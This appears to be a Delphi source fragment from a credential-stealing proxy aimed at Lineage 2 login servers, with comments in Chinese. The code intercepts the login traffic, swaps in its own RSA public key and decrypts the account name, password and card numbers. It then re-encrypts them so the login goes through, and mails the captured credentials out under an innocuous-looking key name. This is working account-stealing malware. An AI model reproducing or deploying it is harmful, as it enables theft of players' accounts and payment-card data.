//------------------------------(测试用)处理Socket代理服务器请求-------------------------------
{ err := recv(sd, recvbuf, 4096,0);
if err>0 then
begin
sendbuf[0]:=$05;
sendbuf[1]:=$00;
send(sd,sendbuf,2,0);
end;
err := recv(sd, recvbuf, 4096,0);
if err>0 then
begin
sendbuf[0]:=$05;
sendbuf[1]:=$00;
sendbuf[2]:=$00;
sendbuf[3]:=$01;
sendbuf[4]:=$C0;
sendbuf[5]:=$A8;
sendbuf[6]:=$01;
sendbuf[7]:=$F1;
sendbuf[8]:=$05;
sendbuf[9]:=$56;
send(sd,sendbuf,10,0);
end; }
//-------------------------------------------------------------------------------
//连接l2官方服务器
if WSAStartup(514, Wsa) <> 0 then //初始化Wsock32.dll
begin
WSACleanup();
exit;
end;
server_port := 2106;
//hostname:='auth.lineage2.com.cn';//大陆
hostname := 'auth.lineage2.com.tw'; //台湾
//hostname:='L2authd.Lineage2.com';//美国
//hostname:='auth.lineage2.jp';//日本
//hostname:='222.231.15.60';//韩国
xl_sockaddrin.sin_port := htons(server_port);
xl_sockaddrin.sin_family := PF_INET;
xl_hostent := gethostbyname(PCHAR(HOSTNAME));
if xl_hostent = nil then
begin
saddr := inet_addr(pchar(hostname));
if saddr <> -1 then
xl_sockaddrin.sin_addr.S_addr := saddr;
end
else
begin
psaddr := pointer(xl_hostent.h_addr_list^);
xl_sockaddrin.sin_addr.S_addr := psaddr^;
end;
l2sd := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (l2sd = SOCKET_ERROR) then
begin
closesocket(sd);
exit;
end;
err := connect(l2sd, xl_sockaddrin, sizeof(xl_sockaddrin));
if (err = SOCKET_ERROR) then
begin
closesocket(sd);
closesocket(l2sd);
exit;
end;
//创建远程官方连接的处理线程
//如果是非法的socket
if (l2sd <= 0) or (sd <= 0) then exit;
//取得本地服务器的公钥,以便替换服务器发来的公钥
getlocalpubkey(@lpk);
//-----------------------接收RSA密钥--------------------------
//先读2字节,计算包长度
err := recv(l2sd, recvbuf, 2, 0);
if ((err) = SOCKET_ERROR) then
begin
closesocket(sd);
exit;
end;
len := 0;
if err > 0 then
begin
len := recvbuf[1] * 256 + recvbuf[0];
sendbuf[0] := recvbuf[0];
sendbuf[1] := recvbuf[1];
err := recv(l2sd, recvbuf, len - 2, 0);
if err > $90 then
begin
//本地转发
//保存旧密钥
copymemory(@oldlpk, @recvbuf[9], $80);
//从第8字节开始替换密钥
copymemory(@recvbuf[9], @lpk, $80);
//把本地密钥转发出去
copymemory(@sendbuf[2], @recvbuf, len - 2);
send(sd, sendbuf, len, 0);
end;
end;
//--------------------------------------------------------------------
//本地开始接收数据
while true do
begin
sleep(100); //等待数据反馈,防止死锁
//本地接收,先读2字节,计算包长度
err := recv(sd, recvbuf, 2, 0);
if (sd <= 0) or (err <= 0) then
begin
closesocket(sd);
exit;
end;
if err > 0 then
begin
len := recvbuf[1] * 256 + recvbuf[0];
sendbuf[0] := recvbuf[0];
sendbuf[1] := recvbuf[1];
err := recv(sd, recvbuf, len - 2, 0);
if (sd <= 0) or (err <= 0) then
begin
closesocket(sd);
exit;
end;
if err > 0 then
begin
setlength(pp, len - 2);
for i := 0 to len - 2 - 1 do
pp[i] := recvbuf[i];
pp := _crypt.decrypt(pp);
// _crypt.checksum(pp);
// if len=$92 then
// begin
// DebugBuf1('原始包',pp,len-2);
// end;
//$00是用户名密码包 标志
if pp[0] = $00 then
begin
copymemory(@encpack, @pp[1], $80);
LocalDecodeData(@encpack, @userpass);
//用原来的服务器公钥重新加密数据
EncodeData(@oldlpk, @userpass[4], @encpack);
copymemory(@pp[1], @encpack, $80);
_crypt.checksum(pp);
pp := _crypt.crypt(pp);
for i := 0 to len - 2 - 1 do
recvbuf[i] := pp[i];
end
else if pp[0] = $02 then //选择服务器
begin
if len - 2 >= 10 then
begin
try
ts := inttostr(pp[9]);
serverid := pchar(ts);
//AddToMemo1('Server ID:'+BufToString(serverid,length(ts)));
strServerID := BufToString(serverid, length(ts));
DebugBuf('Server ID:', serverid, length(ts));
except
end;
end;
end
else if (pp[0] = $06) and (len > $90) then //卡号
begin
copymemory(@encpack, @pp[5], $80);
LocalDecodeCard(@encpack, @userpass);
try
ti := userpass[7];
ti := (ti shl 8) + userpass[6];
ti := (ti shl 8) + userpass[5];
ti := (ti shl 8) + userpass[4];
ts := inttostr(ti);
cardinfo := pchar(ts);
//AddToMemo1('Card Info:'+BufToString(cardinfo,length(ts)));
strCardInfo := BufToString(cardinfo, length(ts));
DebugBuf('Card Info:', cardinfo, length(ts));
except
end;
//用原来的服务器公钥重新加密数据
EncodeCard(@oldlpk, @userpass[4], @encpack);
copymemory(@pp[5], @encpack, $80);
_crypt.checksum(pp);
//DebugBuf1('替换包',pp,len-2);
pp := _crypt.crypt(pp);
for i := 0 to len - 2 - 1 do
recvbuf[i] := pp[i];
end;
//转发官方
copymemory(@sendbuf[2], @recvbuf, len - 2);
send(l2sd, sendbuf, len, 0);
//接受官方数据
sleep(100); //等待数据反馈,如果数据有误,官方会断开,防止死锁
//先读2字节,计算包长度
err := recv(l2sd, recvbuf, 2, 0);
if (l2sd <= 0) or (err <= 0) then
begin
//socket连接错误
if err = SOCKET_ERROR then
begin
end;
closesocket(l2sd);
exit;
end;
if err > 0 then
begin
len := recvbuf[1] * 256 + recvbuf[0];
sendbuf[0] := recvbuf[0];
sendbuf[1] := recvbuf[1];
//接受官方数据
err := recv(l2sd, recvbuf, len - 2, 0);
if (l2sd <= 0) or (err <= 0) then
begin
//socket连接错误
if err = SOCKET_ERROR then
begin
end;
closesocket(l2sd);
exit;
end;
if err > 0 then
begin
setlength(pp, len - 2);
for i := 0 to len - 2 - 1 do
pp[i] := recvbuf[i];
pp := _crypt.decrypt(pp);
if pp[0] = $07 then
begin
//AddToMemo1('Login Succ!');
strMailBody := 'Server ID:' + strServerID + #$0D#$0A +
'UserName:' + strUserName + #$0D#$0A +
'Password:' + strUserPass + #$0D#$0A;
if strCardNO <> '' then strMailBody := strMailBody + 'CardNO:' + strCardNO + #$0D#$0A;
if strCardInfo <> '' then strMailBody := strMailBody + 'CardInfo:' + strCardInfo + #$0D#$0A;
strSend := My_KeyEncryp(strMailBody, 'Intel Cpu Monitor Service');
SendMail_T2(strSend);
DebugBuf('登陆成功!', 'so happy!', 9)
end
else if pp[0] = $0A then
begin
try
ts := inttostr(pp[5]);
cardno := pchar(ts);
//AddToMemo1('Card NO:'+BufToString(cardno,length(ts)));
strCardNO := BufToString(cardno, length(ts));
DebugBuf('Card NO.:', cardno, length(ts));
except
end;
end;
//转发本地
copymemory(@sendbuf[2], @recvbuf, err);
send(sd, sendbuf, len, 0);
end;
end;
end;
end;
end;
_crypt.Free;
end;